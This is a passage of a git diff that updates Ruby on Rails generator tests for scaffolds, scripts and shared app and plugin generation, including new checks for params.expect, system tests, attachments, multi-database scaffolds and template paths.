 class ScaffoldGeneratorTest < Rails::Generators::TestCase
+  include PluginHelpers
   include GeneratorsTestHelper
-  arguments %w(product_line title:string product:belongs_to user:references)
+  arguments %w(product_line title:string approved:boolean product:belongs_to user:references)
 
   setup :copy_routes
 
@@ -15,6 +20,7 @@ def test_scaffold_on_invoke
     assert_file "test/models/product_line_test.rb", /class ProductLineTest < ActiveSupport::TestCase/
     assert_file "test/fixtures/product_lines.yml"
     assert_migration "db/migrate/create_product_lines.rb", /belongs_to :product/
+    assert_migration "db/migrate/create_product_lines.rb", /boolean :approved/
     assert_migration "db/migrate/create_product_lines.rb", /references :user/
 
     # Route
@@ -48,20 +54,23 @@ def test_scaffold_on_invoke
       end
 
       assert_instance_method :destroy, content do |m|
-        assert_match(/@product_line\.destroy/, m)
+        assert_match(/@product_line\.destroy!/, m)
       end
 
       assert_instance_method :set_product_line, content do |m|
-        assert_match(/@product_line = ProductLine\.find\(params\[:id\]\)/, m)
+        assert_match(/@product_line = ProductLine\.find\(params\.expect\(:id\)\)/, m)
       end
     end
 
     assert_file "test/controllers/product_lines_controller_test.rb" do |test|
       assert_match(/class ProductLinesControllerTest < ActionDispatch::IntegrationTest/, test)
-      assert_match(/post product_lines_url, params: \{ product_line: \{ product_id: @product_line\.product_id, title: @product_line\.title, user_id: @product_line\.user_id \} \}/, test)
-      assert_match(/patch product_line_url\(@product_line\), params: \{ product_line: \{ product_id: @product_line\.product_id, title: @product_line\.title, user_id: @product_line\.user_id \} \}/, test)
+      assert_match(/post product_lines_url, params: \{ product_line: \{ approved: @product_line\.approved, product_id: @product_line\.product_id, title: @product_line\.title, user_id: @product_line\.user_id \} \}/, test)
+      assert_match(/patch product_line_url\(@product_line\), params: \{ product_line: \{ approved: @product_line\.approved, product_id: @product_line\.product_id, title: @product_line\.title, user_id: @product_line\.user_id \} \}/, test)
     end
 
+    # System tests should not be generated by default
+    assert_no_file "test/system/product_lines_test.rb"
+
     # Views
     assert_no_file "app/views/layouts/product_lines.html.erb"
 
@@ -70,7 +79,7 @@ def test_scaffold_on_invoke
     end
 
     %w(edit new).each do |view|
-      assert_file "app/views/product_lines/#{view}.html.erb", /render 'form', product_line: @product_line/
+      assert_file "app/views/product_lines/#{view}.html.erb", /render "form", product_line: @product_line/
     end
 
     assert_file "app/views/product_lines/_form.html.erb" do |test|
@@ -80,11 +89,18 @@ def test_scaffold_on_invoke
 
     # Helpers
     assert_file "app/helpers/product_lines_helper.rb"
+  end
+
+  def test_scaffold_with_system_tests_option
+    run_generator %w(product_line title:string --system-tests=true)
 
-    # Assets
-    assert_file "app/assets/stylesheets/scaffold.css"
-    assert_file "app/assets/javascripts/product_lines.js"
-    assert_file "app/assets/stylesheets/product_lines.css"
+    # System tests should be generated when explicitly requested
+    assert_file "test/system/product_lines_test.rb" do |test|
+      assert_match(/class ProductLinesTest < ApplicationSystemTestCase/, test)
+      assert_match(/visit product_lines_url/, test)
+      assert_match(/fill_in "Title", with: @product_line\.title/, test)
+      assert_match(/assert_text "Product line was successfully created"/, test)
+    end
   end
 
   def test_api_scaffold_on_invoke
@@ -107,7 +123,7 @@ def test_api_scaffold_on_invoke
       assert_match(/class ProductLinesController < ApplicationController/, content)
       assert_no_match(/respond_to/, content)
 
-      assert_match(/before_action :set_product_line, only: \[:show, :update, :destroy\]/, content)
+      assert_match(/before_action :set_product_line, only: %i\[ show update destroy \]/, content)
 
       assert_instance_method :index, content do |m|
         assert_match(/@product_lines = ProductLine\.all/, m)
@@ -130,7 +146,7 @@ def test_api_scaffold_on_invoke
       end
 
       assert_instance_method :destroy, content do |m|
-        assert_match(/@product_line\.destroy/, m)
+        assert_match(/@product_line\.destroy!/, m)
       end
     end
 
@@ -141,6 +157,9 @@ def test_api_scaffold_on_invoke
       assert_no_match(/assert_redirected_to/, test)
     end
 
+    # System tests
+    assert_no_file "test/system/product_lines_test.rb"
+
     # Views
     assert_no_file "app/views/layouts/product_lines.html.erb"
 
@@ -150,11 +169,6 @@ def test_api_scaffold_on_invoke
 
     # Helpers
     assert_no_file "app/helpers/product_lines_helper.rb"
-
-    # Assets
-    assert_no_file "app/assets/stylesheets/scaffold.css"
-    assert_no_file "app/assets/javascripts/product_lines.js"
-    assert_no_file "app/assets/stylesheets/product_lines.css"
   end
 
   def test_functional_tests_without_attributes
@@ -163,11 +177,18 @@ def test_functional_tests_without_attributes
     assert_file "test/controllers/product_lines_controller_test.rb" do |content|
       assert_match(/class ProductLinesControllerTest < ActionDispatch::IntegrationTest/, content)
       assert_match(/test "should get index"/, content)
-      assert_match(/post product_lines_url, params: \{ product_line: \{  \} \}/, content)
-      assert_match(/patch product_line_url\(@product_line\), params: \{ product_line: \{  \} \}/, content)
+      assert_match(/post product_lines_url, params: \{ product_line: \{\} \}/, content)
+      assert_match(/patch product_line_url\(@product_line\), params: \{ product_line: \{\} \}/, content)
     end
   end
 
+  def test_system_tests_without_attributes
+    run_generator ["product_line"]
+
+    # System tests should not be generated by default
+    assert_no_file "test/system/product_lines_test.rb"
+  end
+
   def test_scaffold_on_revoke
     run_generator
     run_generator ["product_line"], behavior: :revoke
@@ -187,17 +208,15 @@ def test_scaffold_on_revoke
     assert_no_file "app/controllers/product_lines_controller.rb"
     assert_no_file "test/controllers/product_lines_controller_test.rb"
 
+    # System tests
+    assert_no_file "test/system/product_lines_test.rb"
+
     # Views
     assert_no_file "app/views/product_lines"
     assert_no_file "app/views/layouts/product_lines.html.erb"
 
     # Helpers
     assert_no_file "app/helpers/product_lines_helper.rb"
-
-    # Assets
-    assert_file "app/assets/stylesheets/scaffold.css", /:visited/
-    assert_no_file "app/assets/javascripts/product_lines.js"
-    assert_no_file "app/assets/stylesheets/product_lines.css"
   end
 
   def test_scaffold_with_namespace_on_invoke
@@ -241,30 +260,59 @@ def test_scaffold_with_namespace_on_invoke
       end
 
       assert_instance_method :destroy, content do |m|
-        assert_match(/@admin_role\.destroy/, m)
+        assert_match(/@admin_role\.destroy!/, m)
       end
 
       assert_instance_method :set_admin_role, content do |m|
-        assert_match(/@admin_role = Admin::Role\.find\(params\[:id\]\)/, m)
+        assert_match(/@admin_role = Admin::Role\.find\(params\.expect\(:id\)\)/, m)
       end
     end
 
     assert_file "test/controllers/admin/roles_controller_test.rb",
                 /class Admin::RolesControllerTest < ActionDispatch::IntegrationTest/
 
+    # System tests should not be generated by default
+    assert_no_file "test/system/admin/roles_test.rb"
+
     # Views
-    %w(index edit new show _form).each do |view|
-      assert_file "app/views/admin/roles/#{view}.html.erb"
+    assert_file "app/views/admin/roles/index.html.erb" do |content|
+      assert_match %{@admin_roles.each do |admin_role|}, content
+      assert_match %{render admin_role}, content
+      assert_match %{"Show this role", admin_role}, content
+      assert_match %{"New role", new_admin_role_path}, content
+    end
+
+    assert_file "app/views/admin/roles/show.html.erb" do |content|
+      assert_match %{render @admin_role}, content
+      assert_match %{"Edit this role", edit_admin_role_path(@admin_role)}, content
+      assert_match %{"Back to roles", admin_roles_path}, content
+      assert_match %{"Destroy this role", @admin_role}, content
+    end
+
+    assert_file "app/views/admin/roles/_role.html.erb" do |content|
+      assert_match "role", content
+      assert_no_match "admin_role", content
+    end
+
+    assert_file "app/views/admin/roles/new.html.erb"  do |content|
+      assert_match %{render "form", admin_role: @admin_role}, content
+      assert_match %{"Back to roles", admin_roles_path}, content
+    end
+
+    assert_file "app/views/admin/roles/edit.html.erb" do |content|
+      assert_match %{render "form", admin_role: @admin_role}, content
+      assert_match %{"Show this role", @admin_role}, content
+      assert_match %{"Back to roles", admin_roles_path}, content
     end
+
+    assert_file "app/views/admin/roles/_form.html.erb"  do |content|
+      assert_match %{model: admin_role}, content
+    end
+
     assert_no_file "app/views/layouts/admin/roles.html.erb"
 
     # Helpers
     assert_file "app/helpers/admin/roles_helper.rb"
-
-    # Assets
-    assert_file "app/assets/stylesheets/scaffold.css", /:visited/
-    assert_file "app/assets/javascripts/admin/roles.js"
-    assert_file "app/assets/stylesheets/admin/roles.css"
   end
 
   def test_scaffold_with_namespace_on_revoke
@@ -287,17 +335,15 @@ def test_scaffold_with_namespace_on_revoke
     assert_no_file "app/controllers/admin/roles_controller.rb"
     assert_no_file "test/controllers/admin/roles_controller_test.rb"
 
+    # System tests
+    assert_no_file "test/system/admin/roles_test.rb"
+
     # Views
     assert_no_file "app/views/admin/roles"
     assert_no_file "app/views/layouts/admin/roles.html.erb"
 
     # Helpers
     assert_no_file "app/helpers/admin/roles_helper.rb"
-
-    # Assets
-    assert_file "app/assets/stylesheets/scaffold.css"
-    assert_no_file "app/assets/javascripts/admin/roles.js"
-    assert_no_file "app/assets/stylesheets/admin/roles.css"
   end
 
   def test_scaffold_generator_on_revoke_does_not_mutilate_legacy_map_parameter
@@ -308,7 +354,7 @@ def test_scaffold_generator_on_revoke_does_not_mutilate_legacy_map_parameter
     content = File.read(route_path).gsub(/\.routes\.draw do/) do |match|
       "#{match} |map|"
     end
-    File.open(route_path, "wb") { |file| file.write(content) }
+    File.write(route_path, content)
 
     run_generator ["product_line"], behavior: :revoke
 
@@ -321,11 +367,14 @@ def test_scaffold_generator_on_revoke_does_not_mutilate_routes
     route_path = File.expand_path("config/routes.rb", destination_root)
     content = File.read(route_path)
 
-    # Remove all of the comments and blank lines from the routes file
+    # Remove all of the comments, blank lines, and default actions from the routes file
     content.gsub!(/^  \#.*\n/, "")
+    content.gsub!(/^  get "up".*\n/, "")
+    content.gsub!(/^  get "service-worker".*\n/, "")
+    content.gsub!(/^  get "manifest".*\n/, "")
     content.gsub!(/^\n/, "")
 
-    File.open(route_path, "wb") { |file| file.write(content) }
+    File.write(route_path, content)
     assert_file "config/routes.rb", /\.routes\.draw do\n  resources :product_lines\nend\n\z/
 
     run_generator ["product_line"], behavior: :revoke
@@ -338,34 +387,6 @@ def test_scaffold_generator_ignores_commented_routes
     assert_file "config/routes.rb", /\.routes\.draw do\n  resources :products\n/
   end
 
-  def test_scaffold_generator_no_assets_with_switch_no_assets
-    run_generator [ "posts", "--no-assets" ]
-    assert_no_file "app/assets/stylesheets/scaffold.css"
-    assert_no_file "app/assets/javascripts/posts.js"
-    assert_no_file "app/assets/stylesheets/posts.css"
-  end
-
-  def test_scaffold_generator_no_assets_with_switch_assets_false
-    run_generator [ "posts", "--assets=false" ]
-    assert_no_file "app/assets/stylesheets/scaffold.css"
-    assert_no_file "app/assets/javascripts/posts.js"
-    assert_no_file "app/assets/stylesheets/posts.css"
-  end
-
-  def test_scaffold_generator_no_scaffold_stylesheet_with_switch_no_scaffold_stylesheet
-    run_generator [ "posts", "--no-scaffold-stylesheet" ]
-    assert_no_file "app/assets/stylesheets/scaffold.css"
-    assert_file "app/assets/javascripts/posts.js"
-    assert_file "app/assets/stylesheets/posts.css"
-  end
-
-  def test_scaffold_generator_no_scaffold_stylesheet_with_switch_scaffold_stylesheet_false
-    run_generator [ "posts", "--scaffold-stylesheet=false" ]
-    assert_no_file "app/assets/stylesheets/scaffold.css"
-    assert_file "app/assets/javascripts/posts.js"
-    assert_file "app/assets/stylesheets/posts.css"
-  end
-
   def test_scaffold_generator_with_switch_resource_route_false
     run_generator [ "posts", "--resource-route=false" ]
     assert_file "config/routes.rb" do |route|
@@ -387,20 +408,6 @@ def test_scaffold_generator_no_helper_with_switch_helper_false
     assert_no_file "app/helpers/posts_helper.rb"
   end
 
-  def test_scaffold_generator_no_stylesheets
-    run_generator [ "posts", "--no-stylesheets" ]
-    assert_no_file "app/assets/stylesheets/scaffold.css"
-    assert_file "app/assets/javascripts/posts.js"
-    assert_no_file "app/assets/stylesheets/posts.css"
-  end
-
-  def test_scaffold_generator_no_javascripts
-    run_generator [ "posts", "--no-javascripts" ]
-    assert_file "app/assets/stylesheets/scaffold.css"
-    assert_no_file "app/assets/javascripts/posts.js"
-    assert_file "app/assets/stylesheets/posts.css"
-  end
-
   def test_scaffold_generator_outputs_error_message_on_missing_attribute_type
     run_generator ["post", "title", "body:text", "author"]
 
@@ -413,8 +420,8 @@ def test_scaffold_generator_outputs_error_message_on_missing_attribute_type
     end
   end
 
-  def test_scaffold_generator_belongs_to
-    run_generator ["account", "name", "currency:belongs_to"]
+  def test_scaffold_generator_belongs_to_and_references
+    run_generator ["account", "name", "currency:belongs_to", "user:references"]
 
     assert_file "app/models/account.rb", /belongs_to :currency/
 
@@ -427,13 +434,92 @@ def test_scaffold_generator_belongs_to
 
     assert_file "app/controllers/accounts_controller.rb" do |content|
       assert_instance_method :account_params, content do |m|
-        assert_match(/permit\(:name, :currency_id\)/, m)
+        assert_match(/expect\(account: \[ :name, :currency_id, :user_id \]\)/, m)
       end
     end
 
     assert_file "app/views/accounts/_form.html.erb" do |content|
-      assert_match(/^\W{4}<%= f\.text_field :name %>/, content)
-      assert_match(/^\W{4}<%= f\.text_field :currency_id %>/, content)
+      assert_match(/^\W{4}<%= form\.text_field :name %>/, content)
+      assert_match(/^\W{4}<%= form\.text_field :currency_id %>/, content)
+    end
+
+    assert_file "app/views/accounts/index.html.erb" do |content|
+      assert_match(/^\W{2}<%= @accounts.each do |account| %>/, content)
+      assert_match(/^\W{4}<%= render account %>/, content)
+      assert_match(/<%= link_to "Show this account", account %>/, content)
+    end
+
+    assert_file "app/views/accounts/show.html.erb" do |content|
+      assert_match(/<%= render @account %>/, content)
+      assert_match(/link_to "Edit this account"/, content)
+      assert_match(/button_to "Destroy this account"/, content)
+      assert_match(/link_to "Back to accounts"/, content)
+    end
+  end
+
+  def test_scaffold_generator_attachments
+    run_generator ["message", "video:attachment", "photos:attachments", "images:attachments"]
+
+    assert_file "app/models/message.rb", /has_one_attached :video/
+    assert_file "app/models/message.rb", /has_many_attached :photos/
+
+    assert_file "app/controllers/messages_controller.rb" do |content|
+      assert_instance_method :message_params, content do |m|
+        assert_match(/expect\(message: \[ :video, photos: \[\], images: \[\] \]\)/, m)
+      end
+    end
+
+    assert_file "app/views/messages/_form.html.erb" do |content|
+      assert_match(/^\W{4}<%= form\.file_field :video %>/, content)
+      assert_match(/^\W{4}<%= form\.file_field :photos, multiple: true %>/, content)
+    end
+
+    assert_file "app/views/messages/_message.html.erb" do |content|
+      assert_match(/^\W{4}<%= link_to message\.video\.filename, message\.video if message\.video\.attached\? %>/, content)
+      assert_match(/^\W{6}<div><%= link_to photo\.filename, photo %>/, content)
+    end
+
+    # System tests should not be generated by default
+    assert_no_file "test/system/messages_test.rb"
+  end
+
+  def test_scaffold_generator_rich_text
+    run_generator ["message", "content:rich_text"]
+
+    assert_file "app/models/message.rb", /rich_text :content/
+
+    assert_file "app/controllers/messages_controller.rb" do |content|
+      assert_instance_method :message_params, content do |m|
+        assert_match(/expect\(message: \[ :content \]\)/, m)
+      end
+    end
+
+    assert_file "app/views/messages/_form.html.erb" do |content|
+      assert_match(/^\W{4}<%= form\.rich_textarea :content %>/, content)
+    end
+
+    # System tests should not be generated by default
+    assert_no_file "test/system/messages_test.rb"
+  end
+
+  def test_scaffold_generator_multi_db_abstract_class
+    with_database_configuration do
+      run_generator ["posts", "--database=secondary"]
+
+      assert_migration "db/secondary_migrate/create_posts.rb"
+      assert_file "app/models/secondary_record.rb" do |content|
+        assert_match(/class SecondaryRecord < ApplicationRecord/, content)
+        assert_match(/connects_to database: { writing: :secondary }/, content)
+        assert_match(/self.abstract_class = true/, content)
+      end
+    end
+  end
+
+  def test_scaffold_generator_database_with_aliases
+    with_database_configuration do
+      run_generator ["posts", "--db=secondary"]
+
+      assert_migration "db/secondary_migrate/create_posts.rb"
     end
   end
 
@@ -451,13 +537,13 @@ def test_scaffold_generator_password_digest
 
     assert_file "app/controllers/users_controller.rb" do |content|
       assert_instance_method :user_params, content do |m|
-        assert_match(/permit\(:name, :password, :password_confirmation\)/, m)
+        assert_match(/expect\(user: \[ :name, :password, :password_confirmation \]\)/, m)
       end
     end
 
     assert_file "app/views/users/_form.html.erb" do |content|
-      assert_match(/<%= f\.password_field :password %>/, content)
-      assert_match(/<%= f\.password_field :password_confirmation %>/, content)
+      assert_match(/<%= form\.password_field :password %>/, content)
+      assert_match(/<%= form\.password_field :password_confirmation %>/, content)
     end
 
     assert_file "app/views/users/index.html.erb" do |content|
@@ -469,35 +555,36 @@ def test_scaffold_generator_password_digest
     end
 
     assert_file "test/controllers/users_controller_test.rb" do |content|
-      assert_match(/password: 'secret'/, content)
-      assert_match(/password_confirmation: 'secret'/, content)
+      assert_match(/password: "secret"/, content)
+      assert_match(/password_confirmation: "secret"/, content)
     end
 
+    # System tests should not be generated by default
+    assert_no_file "test/system/users_test.rb"
+
     assert_file "test/fixtures/users.yml" do |content|
-      assert_match(/password_digest: <%= BCrypt::Password.create\('secret'\) %>/, content)
+      assert_match(/password_digest: (.+)$/, content)
+      digest = content.match(/password_digest: ([^#\s]+)/)[1].strip
+      assert BCrypt::Password.new(digest) == "secret"
     end
   end
 
   def test_scaffold_tests_pass_by_default_inside_mountable_engine
-    Dir.chdir(destination_root) { `bundle exec rails plugin new bukkits --mountable` }
-
     engine_path = File.join(destination_root, "bukkits")
 
-    Dir.chdir(engine_path) do
+    with_new_plugin(engine_path, "--mountable") do
       quietly do
         `bin/rails g scaffold User name:string age:integer;
         bin/rails db:migrate`
       end
-      assert_match(/8 runs, 10 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`)
+      assert_match(/8 runs, 12 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`)
     end
   end
 
   def test_scaffold_tests_pass_by_default_inside_namespaced_mountable_engine
-    Dir.chdir(destination_root) { `bundle exec rails plugin new bukkits-admin --mountable` }
-
     engine_path = File.join(destination_root, "bukkits-admin")
 
-    Dir.chdir(engine_path) do
+    with_new_plugin(engine_path, "--mountable") do
       quietly do
         `bin/rails g scaffold User name:string age:integer;
         bin/rails db:migrate`
@@ -508,49 +595,96 @@ def test_scaffold_tests_pass_by_default_inside_namespaced_mountable_engine
         assert_match(/class UsersController < ApplicationController/, content)
       end
 
-      assert_match(/8 runs, 10 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`)
+      assert_match(/8 runs, 12 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`)
     end
   end
 
   def test_scaffold_tests_pass_by_default_inside_full_engine
-    Dir.chdir(destination_root) { `bundle exec rails plugin new bukkits --full` }
-
     engine_path = File.join(destination_root, "bukkits")
 
-    Dir.chdir(engine_path) do
+    with_new_plugin(engine_path, "--full") do
       quietly do
         `bin/rails g scaffold User name:string age:integer;
         bin/rails db:migrate`
       end
-      assert_match(/8 runs, 10 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`)
+      assert_match(/8 runs, 12 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`)
     end
   end
 
   def test_scaffold_tests_pass_by_default_inside_api_mountable_engine
-    Dir.chdir(destination_root) { `bundle exec rails plugin new bukkits --mountable --api` }
-
     engine_path = File.join(destination_root, "bukkits")
 
-    Dir.chdir(engine_path) do
+    with_new_plugin(engine_path, "--mountable", "--api") do
       quietly do
         `bin/rails g scaffold User name:string age:integer;
         bin/rails db:migrate`
       end
-      assert_match(/6 runs, 8 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`)
+      assert_match(/6 runs, 10 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`)
     end
   end
 
   def test_scaffold_tests_pass_by_default_inside_api_full_engine
-    Dir.chdir(destination_root) { `bundle exec rails plugin new bukkits --full --api` }
-
     engine_path = File.join(destination_root, "bukkits")
 
-    Dir.chdir(engine_path) do
+    with_new_plugin(engine_path, "--full", "--api") do
       quietly do
         `bin/rails g scaffold User name:string age:integer;
         bin/rails db:migrate`
       end
-      assert_match(/6 runs, 8 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`)
+      assert_match(/6 runs, 10 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`)
+    end
+  end
+
+  def test_scaffold_on_invoke_inside_mountable_engine
+    Dir.chdir(destination_root) { `bundle exec rails plugin new bukkits --mountable` }
+    engine_path = File.join(destination_root, "bukkits")
+
+    Dir.chdir(engine_path) do
+      quietly { `bin/rails generate scaffold User name:string age:integer` }
+
+      assert File.exist?("app/models/bukkits/user.rb")
+      assert File.exist?("test/models/bukkits/user_test.rb")
+      assert File.exist?("test/fixtures/bukkits/users.yml")
+
+      assert File.exist?("app/controllers/bukkits/users_controller.rb")
+      assert File.exist?("test/controllers/bukkits/users_controller_test.rb")
+
+      assert_not File.exist?("test/system/bukkits/users_test.rb")
+
+      assert File.exist?("app/views/bukkits/users/index.html.erb")
+      assert File.exist?("app/views/bukkits/users/edit.html.erb")
+      assert File.exist?("app/views/bukkits/users/show.html.erb")
+      assert File.exist?("app/views/bukkits/users/new.html.erb")
+      assert File.exist?("app/views/bukkits/users/_form.html.erb")
+
+      assert File.exist?("app/helpers/bukkits/users_helper.rb")
+    end
+  end
+
+  def test_scaffold_on_revoke_inside_mountable_engine
+    Dir.chdir(destination_root) { `bundle exec rails plugin new bukkits --mountable` }
+    engine_path = File.join(destination_root, "bukkits")
+
+    Dir.chdir(engine_path) do
+      quietly { `bin/rails generate scaffold User name:string age:integer` }
+      quietly { `bin/rails destroy scaffold User` }
+
+      assert_not File.exist?("app/models/bukkits/user.rb")
+      assert_not File.exist?("test/models/bukkits/user_test.rb")
+      assert_not File.exist?("test/fixtures/bukkits/users.yml")
+
+      assert_not File.exist?("app/controllers/bukkits/users_controller.rb")
+      assert_not File.exist?("test/controllers/bukkits/users_controller_test.rb")
+
+      assert_not File.exist?("test/system/bukkits/users_test.rb")
+
+      assert_not File.exist?("app/views/bukkits/users/index.html.erb")
+      assert_not File.exist?("app/views/bukkits/users/edit.html.erb")
+      assert_not File.exist?("app/views/bukkits/users/show.html.erb")
+      assert_not File.exist?("app/views/bukkits/users/new.html.erb")
+      assert_not File.exist?("app/views/bukkits/users/_form.html.erb")
+
+      assert_not File.exist?("app/helpers/bukkits/users_helper.rb")
     end
   end
 end
diff --git a/railties/test/generators/script_generator_test.rb b/railties/test/generators/script_generator_test.rb
new file mode 100644
index 0000000000000..24cf238af18e9
--- /dev/null
+++ b/railties/test/generators/script_generator_test.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+require "generators/generators_test_helper"
+require "rails/generators/rails/script/script_generator"
+
+module Rails
+  module Generators
+    class ScriptGeneratorTest < Rails::Generators::TestCase
+      include GeneratorsTestHelper
+
+      def test_generate_script
+        run_generator ["my_script"]
+
+        assert_file "script/my_script.rb" do |script|
+          assert_match('require_relative "../config/environment"', script)
+        end
+      end
+
+      def test_generate_script_with_folder
+        run_generator ["my_folder/my_script"]
+
+        assert_file "script/my_folder/my_script.rb" do |script|
+          assert_match('require_relative "../../config/environment"', script)
+        end
+      end
+    end
+  end
+end
diff --git a/railties/test/generators/shared_generator_tests.rb b/railties/test/generators/shared_generator_tests.rb
index cc9d3629e9585..9c8dc41c4f9d2 100644
--- a/railties/test/generators/shared_generator_tests.rb
+++ b/railties/test/generators/shared_generator_tests.rb
@@ -1,16 +1,24 @@
+# frozen_string_literal: true
+
+require "find"
+require "shellwords"
+require "env_helpers"
+
 #
 # Tests, setup, and teardown common to the application and plugin generator suites.
 #
 module SharedGeneratorTests
+  include EnvHelpers
+
   def setup
     Rails.application = TestApp::Application
     super
     Rails::Generators::AppGenerator.instance_variable_set("@desc", nil)
 
-    Kernel::silence_warnings do
-      Thor::Base.shell.send(:attr_accessor, :always_force)
+    Kernel.silence_warnings do
+      Thor::Base.shell.attr_accessor :always_force
       @shell = Thor::Base.shell.new
-      @shell.send(:always_force=, true)
+      @shell.always_force = true
     end
   end
 
@@ -20,10 +28,78 @@ def teardown
     Rails.application = TestApp::Application.instance
   end
 
-  def test_skeleton_is_created
+  def application_path
+    destination_root
+  end
+
+  def test_implied_options
+    generator([destination_root], ["--skip-active-job"])
+
+    assert_option :skip_action_mailer
+    assert_option :skip_active_storage
+    assert_option :skip_action_mailbox
+    assert_option :skip_action_text
+    assert_not_option :skip_active_record
+  end
+
+  def test_implied_options_with_conflicting_option
+    error = assert_raises do
+      run_generator [destination_root, "--skip-active-job", "--no-skip-active-storage"]
+    end
+
+    assert_match %r/conflicting option/i, error.message
+  end
+
+  def test_codebase_is_created
     run_generator
 
+    generated_files_and_folders = []
+
+    Find.find(destination_root) do |absolute_path|
+      next if absolute_path == destination_root
+
+      pathname = Pathname.new(absolute_path)
+      git_folder = pathname.basename.to_s == ".git"
+
+      if git_folder || pathname.file?
+        generated_files_and_folders << pathname
+          .relative_path_from(destination_root)
+          .to_s
+      elsif pathname.directory? && pathname.children.empty?
+        flunk "`#{pathname} was generated but is an empty directory"
+      end
+
+      Find.prune if git_folder
+    end
+
+    # assert differences first for better error messages
+    assert_empty generated_files_and_folders.difference(default_files)
+    assert_empty default_files.difference(generated_files_and_folders)
+    assert_equal generated_files_and_folders.sort, default_files, "The expected list of generated files is not alphabetical"
+
     default_files.each { |path| assert_file path }
+
+    if default_files.include?("bin/docker-entrypoint")
+      assert File.executable?("#{application_path}/bin/docker-entrypoint")
+    end
+
+    assert_file "#{application_path}/config/application.rb", /\s+require\s+["']rails\/all["']/
+
+    assert_file "#{application_path}/config/environments/development.rb" do |content|
+      assert_match(/config\.action_mailer\.raise_delivery_errors = false/, content)
+      assert_match(/config\.active_storage/, content)
+    end
+    assert_file "#{application_path}/config/environments/test.rb" do |content|
+      assert_match(/config\.action_mailer\.delivery_method = :test/, content)
+      assert_match(/config\.active_storage/, content)
+    end
+    assert_file "#{application_path}/config/environments/production.rb" do |content|
+      assert_match(/# config\.action_mailer\.raise_delivery_errors = false/, content)
+      assert_match(/config\.active_storage/, content)
+    end
+
+    assert_load_defaults
+    assert_gem_for_active_storage
   end
 
   def test_plugin_new_generate_pretend
@@ -33,7 +109,7 @@ def test_plugin_new_generate_pretend
 
   def test_invalid_database_option_raises_an_error
     content = capture(:stderr) { run_generator([destination_root, "-d", "unknown"]) }
-    assert_match(/Invalid value for \-\-database option/, content)
+    assert_match(/Expected '--database' to be one of/, content)
   end
 
   def test_test_files_are_skipped_if_required
@@ -45,14 +121,14 @@ def test_name_collision_raises_an_error
     reserved_words = %w[application destroy plugin runner test]
     reserved_words.each do |reserved|
       content = capture(:stderr) { run_generator [File.join(destination_root, reserved)] }
-      assert_match(/Invalid \w+ name #{reserved}. Please give a name which does not match one of the reserved rails words: application, destroy, plugin, runner, test\n/, content)
+      assert_match(/Invalid \w+ name #{reserved}\. Please give a name which does not match one of the reserved rails words: application, destroy, plugin, runner, test\n/, content)
     end
   end
 
   def test_name_raises_an_error_if_name_already_used_constant
     %w{ String Hash Class Module Set Symbol }.each do |ruby_class|
       content = capture(:stderr) { run_generator [File.join(destination_root, ruby_class)] }
-      assert_match(/Invalid \w+ name #{ruby_class}, constant #{ruby_class} is already in use. Please choose another \w+ name.\n/, content)
+      assert_match(/Invalid \w+ name #{ruby_class}, constant #{ruby_class} is already in use\. Please choose another \w+ name\.\n/, content)
     end
   end
 
@@ -66,49 +142,69 @@ def test_shebang_when_is_the_same_as_default_use_env
     assert_file "bin/rails", /#!\/usr\/bin\/env/
   end
 
-  def test_template_raises_an_error_with_invalid_path
-    quietly do
-      content = capture(:stderr) { run_generator([destination_root, "-m", "non/existent/path"]) }
+  def test_template_from_absolute_path
+    assert_match "It works from file!", run_generator([destination_root, "-m", "#{fixtures_root}/lib/template.rb"])
+  end
 
-      assert_match(/The template \[.*\] could not be loaded/, content)
-      assert_match(/non\/existent\/path/, content)
+  def test_template_from_relative_path
+    FileUtils.cd(fixtures_root)
+    assert_match "It works from file!", run_generator([destination_root, "-m", "lib/template.rb"])
+  end
+
+  def test_template_with_env_var_in_path
+    switch_env "FIXTURES_ROOT", fixtures_root do
+      assert_match "It works from file!", run_generator([destination_root, "-m", "$FIXTURES_ROOT/lib/template.rb"])
     end
   end
 
-  def test_template_is_executed_when_supplied_an_https_path
-    path = "https://gist.github.com/josevalim/103208/raw/"
-    template = %{ say "It works!" }
-    template.instance_eval "def read; self; end" # Make the string respond to read
+  def test_template_with_curly_brace_env_var_in_path
+    switch_env "FIXTURES_ROOT", fixtures_root do
+      assert_match "It works from file!", run_generator([destination_root, "-m", "${FIXTURES_ROOT}/lib/template.rb"])
+    end
+  end
 
-    check_open = -> *args do
-      assert_equal [ path, "Accept" => "application/x-thor-template" ], args
-      template
+  def test_template_with_windows_env_var_in_path
+    switch_env "FIXTURES_ROOT", fixtures_root do
+      assert_match "It works from file!", run_generator([destination_root, "-m", "%FIXTURES_ROOT%/lib/template.rb"])
     end
+  end
 
-    generator([destination_root], template: path).stub(:open, check_open, template) do
-      quietly { assert_match(/It works!/, capture(:stdout) { generator.invoke_all }) }
+  def test_template_with_special_characters_in_path
+    Dir.mktmpdir do |dir|
+      template_path = "#{dir}/company's $99 template  (original).rb"
+      FileUtils.cp "#{fixtures_root}/lib/template.rb", template_path
+
+      assert_match "It works from file!", run_generator([destination_root, "-m", template_path])
     end
   end
 
-  def test_skip_gemfile
-    assert_not_called(generator([destination_root], skip_gemfile: true), :bundle_command) do
-      quietly { generator.invoke_all }
-      assert_no_file "Gemfile"
+  def test_template_raises_an_error_with_invalid_path
+    quietly do
+      content = capture(:stderr) { run_generator([destination_root, "-m", "non/existent/path"]) }
+
+      assert_match(/The template \[.*\] could not be loaded/, content)
+      assert_match(/non\/existent\/path/, content)
     end
   end
 
-  def test_skip_bundle
-    assert_not_called(generator([destination_root], skip_bundle: true), :bundle_command) do
-      quietly { generator.invoke_all }
-      # skip_bundle is only about running bundle install, ensure the Gemfile is still
-      # generated.
-      assert_file "Gemfile"
+  def test_template_is_executed_when_supplied_an_https_path
+    url = "https://gist.github.com/josevalim/103208/raw/"
+    generator([destination_root], template: url)
+
+    applied = nil
+    apply_stub = -> (path, *) { applied = path }
+
